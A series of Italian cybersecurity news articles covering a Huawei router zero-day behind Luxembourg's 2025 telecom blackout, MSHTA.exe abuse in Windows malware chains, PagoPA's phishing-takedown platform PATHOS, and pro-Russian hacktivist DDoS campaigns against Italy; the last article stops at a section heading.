Attacco ai router Huawei dietro blackout telecom del Lussemburgo


Un attacco informatico basato su una vulnerabilità sconosciuta nei router enterprise di Huawei avrebbe causato nel 2025 uno dei più gravi incidenti infrastrutturali europei degli ultimi anni, provocando il collasso temporaneo dell’intera rete telecom del Lussemburgo.

Secondo quanto riportato da Recorded Future News, l’incidente avrebbe coinvolto un comportamento non documentato del sistema operativo di rete Huawei VRP, sfruttato tramite traffico malevolo appositamente costruito per mandare in crash i router dell’operatore nazionale POST Luxembourg.

L’attacco, avvenuto il 23 luglio 2025, ha causato un’interruzione completa delle comunicazioni mobili 4G e 5G, della telefonia fissa e persino di parte dei servizi di emergenza nazionali per oltre tre ore.

La vicenda solleva interrogativi particolarmente delicati non solo sul piano tecnico, ma anche su quello della trasparenza nella disclosure delle vulnerabilità critiche che coinvolgono infrastrutture telecom strategiche.

Un blackout nazionale causato da traffico di rete malevolo

Secondo le informazioni emerse, l’attacco avrebbe sfruttato un’anomalia mai documentata pubblicamente nel software di routing Huawei. Paul Rausch, responsabile comunicazione di POST Luxembourg, ha confermato che l’incidente è stato causato da un attacco denial-of-service basato su un “comportamento non pubblico e non documentato” per il quale non esisteva alcuna patch disponibile al momento dell’incidente. Il traffico malevolo avrebbe innescato un ciclo continuo di reboot dei router enterprise Huawei, causando il collasso progressivo di parti critiche dell’infrastruttura telecom nazionale.

L’aspetto più interessante è che gli investigatori lussemburghesi non ritengono che l’attacco fosse necessariamente diretto contro il Lussemburgo come bersaglio specifico. Secondo le autorità, il traffico malevolo potrebbe semplicemente essere transitato attraverso l’infrastruttura di POST Luxembourg, provocando accidentalmente il crash dei dispositivi Huawei invece della normale elaborazione e inoltro dei pacchetti. In pratica, i router avrebbero reagito al traffico anomalo entrando in una condizione di failure non prevista che li costringeva a riavviarsi ripetutamente.

Il caso riapre il dibattito sugli zero-day nelle infrastrutture critiche

Diversi elementi emersi nelle indagini portano a classificare l’incidente come un possibile zero-day, cioè una vulnerabilità sconosciuta pubblicamente e priva di patch disponibili. Secondo le fonti citate da Recorded Future News, Huawei avrebbe dichiarato di non aver mai osservato un comportamento simile presso altri clienti e di non aver avuto a disposizione in quel momento una soluzione pronta per mitigare il problema.

Il punto più controverso riguarda però l’assenza totale di disclosure pubblica.

A quasi dieci mesi dall’incidente, non risulta infatti assegnato alcun identificativo CVE pubblico relativo alla vulnerabilità sfruttata nell’attacco. Non esistono advisory aperti alla comunità di sicurezza, né dettagli tecnici che consentano agli operatori telecom di verificare eventuali esposizioni analoghe.

E questo è un problema. I CVE rappresentano infatti uno dei principali strumenti globali per tracciare vulnerabilità, coordinare attività di remediation e permettere ai team SOC e CERT di identificare rapidamente i sistemi vulnerabili.

L’assenza di disclosure pubblica crea quindi un problema potenzialmente sistemico: altri operatori che utilizzano gli stessi apparati Huawei potrebbero non sapere di essere esposti allo stesso comportamento anomalo.

Huawei e il problema della trasparenza nelle vulnerabilità enterprise

La vicenda evidenzia anche un cambiamento nel modo in cui Huawei gestisce la disclosure delle vulnerabilità enterprise. Sempre secondo Recorded Future News, mentre il vendor continua a pubblicare CVE per prodotti consumer, le disclosure pubbliche relative ai prodotti enterprise networking sono diventate sempre più rare negli ultimi anni. Huawei pubblica anche advisory di sicurezza enterprise, ma spesso attraverso portali clienti riservati invece che tramite comunicazioni pubbliche aperte alla comunità globale di sicurezza.

La situazione rischia inevitabilmente di alimentare ulteriori tensioni geopolitiche attorno alle infrastrutture telecom cinesi, tema già al centro di anni di dibattiti internazionali su supply chain security, rischio cyber e sovranità digitale.

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MSHTA, lo “zombie” di IE che alimenta attacchi su Windows


Nonostante Internet Explorer sia ormai ufficialmente morto da tempo, uno dei suoi componenti storici continua a rappresentare un serio problema di sicurezza per gli ambienti Windows moderni. Si tratta di MSHTA.exe, il Microsoft HTML Application Host, una utility legacy ancora inclusa di default nel sistema operativo e oggi sempre più sfruttata dai cybercriminali per distribuire malware, loader e infostealer.

Secondo una nuova ricerca pubblicata da Bitdefender Labs, negli ultimi mesi si è registrato un forte aumento delle catene di attacco che utilizzano mshta.exe come componente centrale delle operazioni malevole. Il fenomeno riguarda sia campagne cybercriminali opportunistiche sia minacce più sofisticate basate su tecniche LOLBIN, cioè “Living-off-the-Land Binary”.

Il problema è particolarmente delicato perché MSHTA è un binario firmato da Microsoft e considerato legittimo dal sistema operativo. Questo consente agli attaccanti di utilizzare uno strumento trusted di Windows per eseguire codice malevolo riducendo la probabilità di essere intercettati dalle difese tradizionali.

Cos’è MSHTA e perché esiste ancora in Windows

MSHTA nasce alla fine degli anni ’90 insieme a Internet Explorer 5 come componente dedicato all’esecuzione delle cosiddette HTML Application (HTA), applicazioni sviluppate con HTML, VBScript e JavaScript. L’obiettivo originario era permettere la creazione di piccoli strumenti amministrativi o applicazioni desktop leggere basate su tecnologie web. Nonostante la progressiva scomparsa di Internet Explorer, Microsoft ha continuato a mantenere MSHTA in Windows per ragioni di backward compatibility, soprattutto nei contesti enterprise dove alcuni ambienti legacy continuano ancora a dipendere da script e applicazioni HTA.

Secondo Bitdefender, una parte limitata dell’utilizzo di MSHTA è ancora legittima. Alcuni amministratori lo impiegano per script di login, notifiche di aggiornamento o piccoli tool interni. Tuttavia, la componente malevola sta crescendo molto più rapidamente rispetto agli utilizzi leciti. Ma c’è un problema: MSHTA consente di eseguire script direttamente in memoria, scaricare contenuti remoti ed eludere diversi controlli di sicurezza sfruttando un processo firmato Microsoft.

Come gli attaccanti usano MSHTA nelle campagne malware

Secondo i ricercatori di Bitdefender, MSHTA viene oggi utilizzato soprattutto come stadio intermedio nelle moderne catene di infezione. Gli attaccanti convincono la vittima ad aprire file HTA o eseguire comandi apparentemente innocui tramite phishing, siti fake, campagne ClickFix o falsi aggiornamenti software. Una volta avviato, mshta.exe può recuperare script remoti e lanciare codice PowerShell o VBScript direttamente in memoria senza scrivere necessariamente payload evidenti sul disco.

Questo approccio permette di distribuire malware come Lumma Stealer, Amatera e altri infostealer moderni mantenendo un profilo operativo relativamente basso. Bitdefender segnala inoltre che molti dei domini contattati dalle campagne osservate utilizzano tecniche di typosquatting, simulando URL apparentemente legittimi per aumentare la credibilità dell’infrastruttura malevola. Il vantaggio per gli attaccanti è duplice. Da un lato utilizzano un binario di sistema trusted; dall’altro eseguono gran parte dell’attività malevola direttamente in memoria, riducendo la visibilità per antivirus e strumenti EDR meno evoluti.

Il ritorno dei LOLBIN e la crisi delle difese tradizionali

Il caso MSHTA conferma un trend ormai consolidato nel panorama della cybersecurity: il ritorno massiccio delle tecniche LOLBIN. Invece di introdurre malware custom facilmente identificabili, molti gruppi criminali preferiscono sfruttare componenti già presenti nel sistema operativo per mascherare le proprie attività. Windows offre numerosi strumenti di questo tipo — PowerShell, rundll32, regsvr32, certutil, wmic — e MSHTA continua a essere uno dei più efficaci.

Questo approccio complica enormemente il lavoro dei team SOC perché il comportamento osservato appare inizialmente legittimo. Bloccare completamente mshta.exe può inoltre creare problemi operativi in alcune aziende che utilizzano ancora applicazioni legacy. Secondo diversi analisti, il problema deriva anche dall’enorme eredità storica di Windows. La necessità di mantenere compatibilità con software sviluppati decenni fa continua infatti a lasciare disponibili componenti che oggi rappresentano superfici di attacco estremamente appetibili.

Perché MSHTA è ancora così efficace contro le aziende

Uno degli aspetti più interessanti evidenziati dal report riguarda la persistenza operativa di questo strumento nonostante le tecnologie moderne di sicurezza. Molte organizzazioni si concentrano infatti sulla rilevazione del malware finale, ma monitorano molto meno attentamente i processi trusted del sistema operativo.

MSHTA permette inoltre di concatenare facilmente più tecnologie offensive. Un semplice file HTA può scaricare script PowerShell, avviare payload in memoria, contattare server remoti e stabilire persistenza senza utilizzare eseguibili tradizionali. In diversi scenari, gli attaccanti utilizzano MSHTA anche come componente iniziale per campagne ransomware o compromissioni enterprise più ampie.

Il problema è aggravato dal fatto che molte campagne moderne sfruttano social engineering avanzato. Le vittime vengono indotte a eseguire manualmente comandi o aprire file apparentemente innocui tramite falsi CAPTCHA, notifiche browser, finte procedure di supporto tecnico o documenti Office malevoli.

La sfida futura: eliminare il legacy senza rompere Windows

La vicenda riapre inevitabilmente il dibattito sulla gestione delle componenti legacy all’interno di Windows. Microsoft sta progressivamente dismettendo diverse tecnologie storiche, ma molti strumenti rimangono presenti per garantire compatibilità con ambienti enterprise complessi. Nel frattempo, però, i cybercriminali continuano a sfruttare proprio queste aree grigie dell’ecosistema Windows.

Secondo Bitdefender, il numero di catene malevole che coinvolgono mshta.exe è aumentato sensibilmente negli ultimi mesi, segnale che gli attaccanti considerano ancora questo strumento estremamente efficace. Per i team di sicurezza questo significa che la semplice presenza di processi firmati Microsoft non può più essere considerata automaticamente affidabile. Servono capacità avanzate di behavioral analysis, monitoraggio delle child process, controllo delle connessioni outbound e visibilità sulle esecuzioni in memoria.

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6.000 campagne phishing contro lo “Stato”: cosa abbiamo imparato

Intervento di Mirko Caruso (Area Security Governance, Risk & Compliance, PagoPA) alla 14ª Cyber Crime Conference, Roma, 6-7 maggio 2026

Dal marzo 2025 un’ampia platea di cittadini italiani è finita nel mirino di un fenomeno di phishing su scala industriale, che sfrutta l’autorevolezza del brand PagoPA, insieme ai loghi e alle finalità della piattaforma, per sottrarre dati anagrafici e di pagamento. Nel suo intervento alla 14ª Cyber Crime Conference, Mirko Caruso ne ha ripercorso genesi ed evoluzione, illustrando nel dettaglio la risposta operativa e la piattaforma PATHOS (Phishing Analysis and Takedown Harmonized Operation System), sviluppata dal Dipartimento Security & ICT Operations di PagoPA.

Campagne phishing contro lo Stato: i primi segnali a marzo 2025

I primi segnali sono stati intercettati nel marzo 2025 grazie a un monitoraggio basato su typosquatting e Google dorking. Il team Security di PagoPA ha rilevato, tra il 20 e il 31 marzo 2025, risultati indicizzati da Google che rimandavano a SMS di phishing a tema PagoPA, catturati e resi pubblici da servizi gratuiti di virtual number per la ricezione di SMS, come OnlineSim.

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Mirko Caruso, Cyber Crime Conference 2026

Un dettaglio rivelatore: nelle prime campagne gli attori malevoli avevano lasciato un refuso, probabilmente residuo di campagne precedenti, indicando “Netflix” come mittente di SMS che in realtà simulavano una multa per violazione del codice della strada, con redirect verso il dominio “pagopa-it.com”.

Mirko Caruso, Cyber Crime Conference pago pa 6.000 campagne phishing contro lo Stato cosa abbiamo imparato
Mirko Caruso, Cyber Crime Conference 2026

Il template iniziale conteneva errori grossolani: bastava notare l’accostamento fra il logo delle Capitanerie di Porto e il footer “ATAC S.p.A. PagoPA”. Eppure, fin dalle prime campagne emergeva una raccolta sistematica dei dati anagrafici, destinati a essere riutilizzati in campagne successive, più mirate e personalizzate.

Cittadini come fattore abilitante

Fin dai primi giorni di marzo 2025 i cittadini hanno iniziato a segnalare le campagne sospette: dapprima al canale di assistenza di primo livello (L1) e poi, dal luglio 2025, a una mailbox dedicata, truffe@pagopa.it.

Al 29 aprile 2026 PagoPA ha registrato 46.714 segnalazioni complessive, così distribuite per brand:

  • pagoPA: 18.651 (di cui 14.556 via telefonate, 3.756 via email, 339 via web)
  • truffe@pagopa.it: 27.060
  • app IO: 856
  • SEND: 145
  • Self Care: 2

L’introduzione della mailbox dedicata ha ridotto drasticamente il carico sui canali di assistenza, separando il flusso delle segnalazioni di truffa da quello dell’assistenza ordinaria.

Mirko Caruso, Cyber Crime Conference
Mirko Caruso, Cyber Crime Conference 2026

Caruso ha sottolineato come il cittadino non sia più “l’anello debole” della catena, ma una sentinella attiva del territorio digitale, capace, spesso, di intercettare nuove campagne prima ancora dei servizi commerciali di phishing intelligence.

Monitoraggio attraverso Google Trends e Google Alerts

L’analisi di Google Trends si è rivelata uno strumento di early warning particolarmente efficace. Per la query “pagopa truffa” si sono registrate impennate degli argomenti correlati “Multa” e “Notifica”, con concentrazioni geografiche iniziali in Valle d’Aosta, Sicilia e Lombardia. Particolarmente significativi i picchi sulla query anomala “pagopa netflix”, osservati il 24 e il 30 marzo 2025: coincidevano con la diffusione degli SMS che citavano impropriamente Netflix, e raccontavano di cittadini che interrogavano Google per capire cosa stesse accadendo.

Il framework operativo che ne è derivato si articola in quattro fasi: rilevazione dei segnali dai cittadini; aggregazione e analisi su Google Trends; intelligence ed early warning di Cyber Threat; azione e protezione da parte di istituzioni e aziende.

Evoluzione dei template di phishing

Caruso ha illustrato la progressiva sofisticazione dei template:

  • Low-fidelity (campagne iniziali): raccolta anagrafica basilare prima del pagamento, con errori grafici evidenti.
  • CTA diretta: template con sola call to action al pagamento (ad esempio “Avviso di sollecito ufficiale”), senza raccolta anagrafica preliminare.
  • High-fidelity: a oggi il template più diffuso. Include riferimenti completi (sede legale, P.IVA, dicitura “Finanziato dall’Unione Europea”), loghi corporate e di piattaforma, e simula con precisione il flusso di pagamento autentico.
  • Clone di pagopa.gov.it: ulteriore evoluzione high-fidelity in fase di diffusione, che riproduce fedelmente layout, colori e tipografia delle pagine istituzionali.

Timeline delle azioni di risposta

La risposta operativa si è articolata in dieci tappe principali:

  1. Marzo 2025: prime analisi e richieste manuali di takedown.
  2. Marzo-Aprile 2025: analisi e mappatura dei kit nel progetto open source IOK (Indicator of Kit), che permette di definire regole di matching specifiche per brand.
  3. Aprile-Maggio 2025: sviluppo di un processo automatizzato per l’analisi degli IoC e la conferma come phishing PagoPA.
  4. Maggio 2025: accreditamento al feed IoC del CERT-AgID.
  5. Luglio 2025: apertura del canale truffe@pagopa.it per le segnalazioni spontanee dei cittadini, senza vincoli di forma.
  6. Luglio-Dicembre 2025: analisi, monitoraggio, takedown e gestione automatizzati tramite script standalone.
  7. Dicembre 2025: sviluppo di PATHOS, nel quale confluiscono i diversi script in una piattaforma unificata.
  8. Gennaio 2026: go-live di PATHOS.
  9. Gennaio-Aprile 2026: miglioramento continuo della piattaforma.

PATHOS in profondità

PATHOS si articola in tre tipologie di job automatizzati:

  • Import Job: acquisisce observable dalla mailbox truffe@pagopa.it, da bulk import manuale o via API.
  • Confirmation Job: verifica automaticamente l’observable confrontandolo con regole IOK e keyword matching, per confermarlo o escluderlo come IoC PagoPA, e per acquisire evidenze forensi utili al takedown.
  • Takedown Job: invia la richiesta di rimozione al contatto abuse più consono, e ne monitora lo stato fino alla conferma, e oltre, per intercettare le frequenti “re-infezioni”.

La dashboard di PATHOS espone in tempo reale il numero di observable, IoC confermati, richieste di takedown inoltrate e statistiche aggregate. Il dettaglio del singolo IoC comprende screenshot, redirect chain completa, eventi notevoli (variazione della redirect chain, conferma di takedown), integrazione con Google Safe Browsing API (per verificare se l’URL è già noto ai servizi anti-phishing) e con UrlScan.io (per scansioni e capture di rete della pagina).

Per i contatti abuse, PATHOS mappa fonti autorevoli (registrar, hosting, CDN) e integra contatti “collaborativi” costruiti su base informale con i gestori di alcuni servizi SaaS. È stata sviluppata anche un’integrazione nativa con Cloudflare Abuse API per inviare segnalazioni conformi direttamente tramite l’endpoint ufficiale.

La piattaforma offre inoltre funzionalità di pattern & frequency analysis e keyword co-occurrence sui path degli URL malevoli: la ricorrenza di segmenti come pagopa/log/msdpweb/index.php
rivela l’impiego del medesimo kit di phishing distribuito su infrastrutture diverse. Una visualizzazione a grafo (al 29 aprile 2026: 1.212 domini, 3.761 URL, 2.674 redirect) permette di individuare costellazioni infrastrutturali complesse e redirect chain articolate.

Tra le funzionalità più innovative, l’estrazione e il rilevamento euristico degli indirizzi email mittenti impiegati nella diffusione del phishing a partire dalle segnalazioni dei cittadini ha permesso di identificare account compromessi di studenti di tre università italiane (studenti.uniroma1.it, studenti.unich.it, community.unipa.it), utilizzati per diffondere phishing a tema PagoPA. Tali account sono stati poi segnalati al CERT-AgID per la tempestiva risoluzione.

Mirko Caruso, Cyber Crime Conference 2026
Mirko Caruso, Cyber Crime Conference 2026

Build vs Buy: il risparmio per la spesa pubblica

Considerando una stima commerciale di 15 € per tentativo di takedown (su base delle quotazioni ricevute nel 2025), Caruso ha quantificato il risparmio per la spesa pubblica:

  • Pre-PATHOS (22 aprile 2025 – 3 gennaio 2026): circa 87.000 € di risparmio stimato.
  • Con PATHOS (1 gennaio – 25 aprile 2026): circa 61.000 € di risparmio stimato.

Trattandosi PagoPA di società pubblica, il risparmio si traduce in minore spesa pubblica complessiva.

Demotivazione degli attori malevoli

Nei casi in cui il takedown non risulti immediato, il team ha sviluppato tecniche per aumentare il costo operativo degli attori malevoli, applicando i principi della SANS Pyramid of Pain.

L’analisi dei kit ha rivelato la presenza di bot token Telegram offuscati, ricostruiti deoffuscando il codice JavaScript che li nascondeva. I token venivano impiegati dagli attori per ricevere in tempo reale i dati delle carte di pagamento estratti dalle vittime (PAN, scadenza, CVV, indirizzo IP), e per reindirizzare la vittima verso pagine di inserimento di OTP bancari, tramite pannelli di controllo. L’infrastruttura “C2” osservata è riconducibile al kit noto come Premium Panel, documentato da Intrinsec come attivo dal 2022 contro i settori bancario, logistico e telco in numerosi paesi.

Su questa base, PagoPA ha messo in atto due strategie di demotivazione:

  • Demotivazione #1: triggering del rate limit delle Telegram API in modo “silenzioso” (non noto agli attori), abusando del bot token estratto. In questo modo si rende temporaneamente inutilizzabile il canale di ricezione dei dati durante i picchi di diffusione della campagna.
  • Demotivazione #2: flooding in chat per innescare il blocco del bot da parte dell’utente, costringendo gli attori a generare un nuovo bot token e ad aggiornare tutti i template attivi (operazione costosa in termini di tempo).

Statistiche al 29 aprile 2026

  • Observable: 54.895 (33.664 univoci)
  • IoC confermati: 4.575 (3.669 in takedown)
  • Richieste di takedown: 4.944 (4.369 processate, 575 skippate)
  • Abuse contact univoci: 247
  • Takedown job: 100
  • Stato di takedown: 80,2% complessivo, con settimane al 100%
  • Tempo medio di takedown: 5,3 giorni dalla prima richiesta alla conferma

Le performance variano sensibilmente a seconda di CDN e abuse contact: Cloudflare e Akamai risultano mediamente più lente nella gestione delle richieste. PATHOS calcola anche la durata media di diffusione delle campagne (1,8 giorni nella media, fino a 37 giorni nei casi più persistenti) e rileva spike e drop settimanali tramite Z-score (|Z| ≥ 2.0) e IQR fence (1,5×IQR di Tukey) su tutte le 14 settimane storiche disponibili.

Sfide tecniche

Il team ha affrontato cinque principali categorie di evasione:Mirko caruso cybercrime conference pago pa 6.000 campagne phishing contro lo Stato cosa abbiamo imparato

Casi curiosi

Tre casi emblematici emersi dall’analisi:

  • Compromissione di un vendor di cybersecurity classificato Gartner Magic Quadrant “Visionaries”: il sistema di mail marketing del vendor è stato abusato per la diffusione di phishing a tema PagoPA.
  • Compromissione di un secondo vendor di cybersecurity, questa volta classificato Gartner Customers’ Choice per soluzioni antivirus: anche in questo caso il sistema di mail marketing è stato impiegato per la diffusione di campagne, con persistenza dell’abuso.
  • Il caso pagamento.fittizio.it/multa39: una campagna inoltrata da una mailbox appartenente a un’università sudamericana, con un link visibile a tutti gli effetti palesemente falso da non richiedere ulteriori commenti.

Rilevanza percepita e “rumore” utile

La mailbox truffe@pagopa.it riceve anche segnalazioni di phishing non riconducibili a PagoPA: BRT, PayPal, SHEIN e molti altri “brand” noti. Per il team rappresentano “rumore” da ignorare, ma testimoniano il valore percepito del canale: i cittadini si rivolgono a PagoPA come riferimento generale per le truffe digitali, anche al di fuori del perimetro istituzionale.

Conclusioni: il “Brand Stato” come abilitatore sociale

Caruso ha chiuso l’intervento con alcune riflessioni di sistema:

  • Customer base come sentinella attiva: il cittadino è un sensore del territorio digitale, in grado di rilevare minacce prima dei servizi commerciali.
  • Semplicità di segnalazione: il semplice inoltro di una email a caselle dirette è infinitamente più efficace della PEC, che molte banche ancora richiedono.
  • Workflow automatizzati: dietro la semplicità offerta all’utente serve un’analisi automatizzata robusta.
  • Collaborazione istituzionale: il successo dipende dalla sinergia con i CERT istituzionali, le Autorità e le Forze dell’Ordine.
  • Aumentare il costo per gli attaccanti: non solo bloccare URL, ma neutralizzare l’infrastruttura retrostante (Telegram, kit) per rendere le campagne economicamente insostenibili.
  • Una “Phish Intelligence” collettiva nazionale: estendere il modello PATHOS ad altri Enti (Sanità, INPS, Agenzia delle Entrate) e aziende, trasformando ogni segnalazione in un early warning per l’intero ecosistema.

E un’ultima considerazione, forse la più politica: la tutela del “Brand Stato”. Quando un cittadino subisce una truffa su un portale che imita Amazon, perde fiducia in Amazon. Quando la subisce su un portale che imita PagoPA, SPID o INPS, perde fiducia nello Stato. Dimostrare che il “Brand Stato” interviene attivamente e con tempestività è fondamentale per non respingere i cittadini agli sportelli fisici, per timore delle frodi online. La sicurezza diventa, a tutti gli effetti, un vero e proprio abilitatore sociale.

L’intervento si è chiuso con il ringraziamento agli oltre 40.000 cittadini le cui segnalazioni spontanee continuano a rendere possibile il funzionamento del sistema, oltre che ai colleghi del Dipartimento Security & ICT Operations di PagoPA, al CERT-AgID, e alla Polizia Postale e delle Comunicazioni.

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Hacktivism in Italia: perché il nostro Paese è un’anomalia globale

C’è un numero che, più di ogni altro, racconta la singolarità italiana nel panorama globale della cybersicurezza: 54%. È la quota degli attacchi informatici registrati in Italia nel primo semestre del 2025 attribuiti all’hacktivism. Nel resto del mondo, quella stessa categoria pesa appena l’8%. Non si tratta di un errore statistico, né di una distorsione metodologica. È la fotografia di un Paese che ha sviluppato, suo malgrado, una relazione del tutto peculiare con una delle minacce più sottovalutate dell’era digitale.

Un’anomalia che i numeri rendono impossibile ignorare

Nel primo semestre 2025 si contano 280 incidenti informatici gravi in Italia, su un totale mondiale di 2.755: il 10,2% del totale globale. Una quota sproporzionata rispetto a qualsiasi indicatore demografico o economico del Paese. La traiettoria è inequivocabile: si è passati dal 3,4% del 2021 al 7,6% del 2022, fino al 9,9% del 2024 e all’attuale 10,2%. Un’escalation costante che nessuna contingenza episodica può spiegare da sola.

Il paradosso più stridente è strutturale: in Italia gli attacchi classificati come hacktivism rappresentano il 54% del totale, mentre il cybercrime “tradizionale” si ferma al 46%. Nel resto del mondo il rapporto è esattamente invertito: il cybercrime vale l’87% degli incidenti, l’hacktivism appena l’8%. L’Italia è letteralmente l’unico grande Paese occidentale in cui la politica batte il profitto come motore degli attacchi informatici.

Che cosa si intende per hacktivism e perché è cambiato tutto

L’hacktivism non è una novità. Il termine descrive l’utilizzo di tecniche informatiche per promuovere cause politiche o sociali, ed è almeno dai tempi di Anonymous, collettivo internazionale decentralizzato fondato nel 2003, che questa forma di attivismo digitale occupa le cronache. Ma ciò che un tempo era rappresentato quasi esclusivamente da Anonymous ha ripreso vigore con le azioni dimostrative portate avanti da molti gruppi filo-russi come NoName057, tornati in primo piano con i conflitti in corso.

Il cambiamento qualitativo è profondo. L’hacktivism modifica le regole del gioco proprio perché riduce ai minimi termini i margini di negoziazione con gli attaccanti, che agiscono senza logiche di profitto e per i quali non esiste un prezzo da pagare per ottenere la cessazione dell’attività ostile. Se il ransomware ha sempre una geometria contrattuale (paghi e forse riotieni l’accesso), l’hacktivism punta alla visibilità, non al denaro. Non c’è riscatto. C’è solo il messaggio.

Il protagonista: NoName057(16) e la guerra ibrida contro l’Italia

Il collettivo che più di ogni altro ha trasformato l’Italia in un bersaglio è NoName057(16). Nato nel marzo 2022, il gruppo è il threat actor hacktivista più prolifico al mondo secondo Radware: nel 2024 ha rivendicato 4.767 attacchi DDoS, distaccando nettamente tutti gli altri collettivi (il secondo classificato, RipperSec, si è fermato a 1.388 attacchi). Secondo i dati di Yarix (Var Group), che ha mappato 97 gruppi hacktivisti globali nel 2024, NoName057 ha totalizzato oltre il 55% degli attacchi nei settori Energia & Utility, Sanità, Banca & Finanza e Trasporti & Logistica.

Il meccanismo operativo è semplice nella forma ma efficace nell’impatto: effettua prevalentemente attacchi dimostrativi di tipo DDoS, che poi rivendica con messaggi sul proprio canale Telegram, sfruttando le risorse computazionali altrui per dirigere attacchi contro organizzazioni occidentali e campagne di comunicazione per diffondere le proprie attività attraverso i social.

La logica di targeting è dichiarata e di cristallina semplicità geopolitica. Ogni dichiarazione pubblica di un esponente istituzionale italiano a sostegno dell’Ucraina diventa il pretesto per una nuova campagna. A marzo 2023, dopo che la premier Meloni aveva confermato il supporto di Roma a Kiev, NoName057 aveva preso di mira il sito del governo, della Camera e dei ministeri di Difesa, Esteri e Trasporti, oltre ad Atac, Atm e l’aeroporto di Bologna, pubblicando sul canale Telegram: “I nostri missili DDoS per i siti russofobi italiani sono maturi.”

Il 5 febbraio 2025, durante una cerimonia all’Università di Aix-Marseille, il Presidente Mattarella aveva paragonato l’aggressione russa all’Ucraina all’espansionismo del Terzo Reich. La portavoce del ministero degli Esteri russo, Maria Zakharova, aveva promesso “conseguenze.” Le conseguenze arrivarono puntuali: a partire dal 17 febbraio l’Italia subì oltre dodici giorni consecutivi di attacchi contro le proprie infrastrutture digitali. Tra i bersagli colpiti figuravano Intesa Sanpaolo, Banca Monte dei Paschi di Siena, gli aeroporti di Milano Malpensa e Linate, diverse compagnie di trasporto pubblico locale, i porti di Taranto, Trieste e Genova, per poi estendersi a ministeri, forze dell’ordine, regioni, comuni e aziende strategiche come Leonardo, Banca d’Italia ed Edison.

Il salto di qualità più recente è ancora più preoccupante: NoName057 ha aperto un canale Telegram in lingua italiana, pubblicando notizie politiche selezionate come esempi di “ostilità verso la Russia.” Questo segna un’espansione della campagna di propaganda che ora punta direttamente a reclutare seguaci in Italia, non solo a colpirla.

Le vittime preferite: istituzioni pubbliche e infrastrutture critiche

Nel primo semestre del 2025 la categoria più colpita in Italia è stata quella governativa, militare e delle forze dell’ordine, con il 38% del totale degli incidenti: un dato che rappresenta il 279% del totale degli eventi avvenuti in tutto il 2024 verso questo settore, con una crescita del 600% rispetto allo stesso periodo dell’anno precedente. Un incremento che non ha eguali in nessun altro comparto.

Quasi quattro attacchi su dieci in Italia hanno colpito enti governativi, forze dell’ordine o strutture militari. Un segnale chiaro che la nostra infrastruttura pubblica è percepita come vulnerabile e, quindi, appetibile.

Al secondo posto per tipologia di vittime si trova il settore trasporti e logistica, con il 17% degli incidenti: in soli sei mesi una volta e mezzo il totale degli incidenti cyber avvenuti nell’intero 2024. Non è casuale: colpire mobilità e filiere logistiche significa moltiplicare l’impatto sociale e mediatico degli attacchi, trasformando un evento tecnico in un fatto politico percepibile dai cittadini.

La tecnica: il DDoS come arma politica

La tecnica prevalente negli incidenti in Italia nel primo semestre del 2025 è stata il DDoS, con un peso del 54%, a fronte del 9% rilevato a livello globale. Il dato tecnico è inseparabile da quello politico: il DDoS è la forma d’attacco preferita degli hacktivist perché è visibile, economicamente accessibile, scalabile tramite reti di volontari e soprattutto comunicativamente efficace.

Strumenti come DDoSia, sviluppato dallo stesso NoName057, consentono agli utenti di unire la potenza computazionale dei propri dispositivi per colpire un obiettivo comune, rendendo l’attacco accessibile a un pubblico ampio e motivato ideologicamente.

L’Italia però non è solo bersaglio passivo. Anonymous Italia ha risposto alle campagne di NoName057 con operazioni di defacement contro siti web russi, inserendo messaggi come “Abbiamo hackerato il tuo sito per combattere la guerra ingiusta di invasione dell’Ucraina,” trasformando il cyberspazio italiano in un teatro attivo del conflitto digitale.

La “stranezza” italiana: perché gli attacchi fanno meno danni, ma arrivano a segno di più

C’è una contraddizione apparente nei dati che merita attenzione critica. In Italia la quota di incidenti con gravità “critica” è del 7%, contro il 29% nel mondo; quelli con impatto “medio” rappresentano il 60% del totale, contro il 18% globale. Sembrerebbe una buona notizia: gli attacchi che subisce l’Italia sono meno devastanti. Ma il Clusit invita a non fraintendere.

Il fatto che il report consideri solo gli attacchi andati a segno lascia un’impressione inquietante: in Italia si va in sofferenza di fronte ad attacchi DDoS che altri Paesi riescono a gestire con relativa tranquillità. La bassa severità non è indice di buona difesa: è indice della tipologia di attacco. Un DDoS che rende inaccessibile per ore il sito di un ministero non ruba dati, ma è andato comunque a segno. E il fatto che accada così spesso, in un Paese del G7, è in sé un problema strutturale.

Oltre la Russia: il panorama degli hacktivist in evoluzione

Sarebbe riduttivo limitare l’analisi al solo vettore filorusso. Il team di Cyber Intelligence di Yarix ha censito 97 gruppi hacktivisti attivi a livello globale nel 2024, di cui NoName057 è il più attivo, responsabile di oltre il 55% degli attacchi nei settori energia, sanità, banca, finanza e trasporti.

Il fenomeno si sta però stratificando. Collettivi come GlorySec, che dichiara fedeltà ai valori occidentali e si definisce “anarco-capitalista,” o SiegedSec, sciolto nel luglio 2024 ammettendo il crimine informatico, mostrano come l’hacktivism sia ormai uno spazio ideologicamente plurale, dove convivono agende politiche opposte. La competizione non è più solo tra hacktivisti filo-russi e filo-ucraini: è uno spazio caotico in cui si mescolano propaganda statale, ideologie radicali e semplice opportunismo mediatico.

L’ENISA, nel suo rapporto sul periodo luglio 2024-giugno 2025, ha registrato 4.875 incidenti nell’Unione Europea, di cui il 76,7% classificato come DDoS, in larghissima parte attribuibile ad hacktivisti.

La risposta istituzionale: l’ACN e i limiti del sistema

L’Agenzia per la Cybersicurezza Nazionale (ACN) è intervenuta sistematicamente per coordinare le operazioni di mitigazione, avvisare le strutture coinvolte e offrire supporto tecnico durante le campagne di attacco. La risposta operativa include il monitoraggio del traffico anomalo, l’avvio di procedure di mitigazione e la coordinazione con le agenzie di sicurezza partner.

Sul fronte degli eventi internazionali, qualche segnale di miglioramento è emerso: in febbraio 2026, un tentativo coordinato di attacco contro i siti della Farnesina e dell’ecosistema digitale di Milano-Cortina 2026 è stato individuato e neutralizzato in fase preventiva, senza sottrazione di dati sensibili, grazie al rafforzamento delle strutture interne di sicurezza.

Ma la sfida rimane strutturale. Nel 2025 i casi trattati dalla Polizia Postale hanno raggiunto quota 51.560, con 9.250 casistiche specifiche di attacchi informatici e oltre 49.000 alert diramati per prevenire minacce ai sistemi di interesse nazionale. Un numero che dà la misura non solo della gravità del fenomeno, ma anche del carico operativo che grava su strutture che devono ancora completare la propria transizione verso una postura di sicurezza adeguata alla minaccia attuale.

Perché l’Italia è un’anomalia e cosa ci dice del futuro

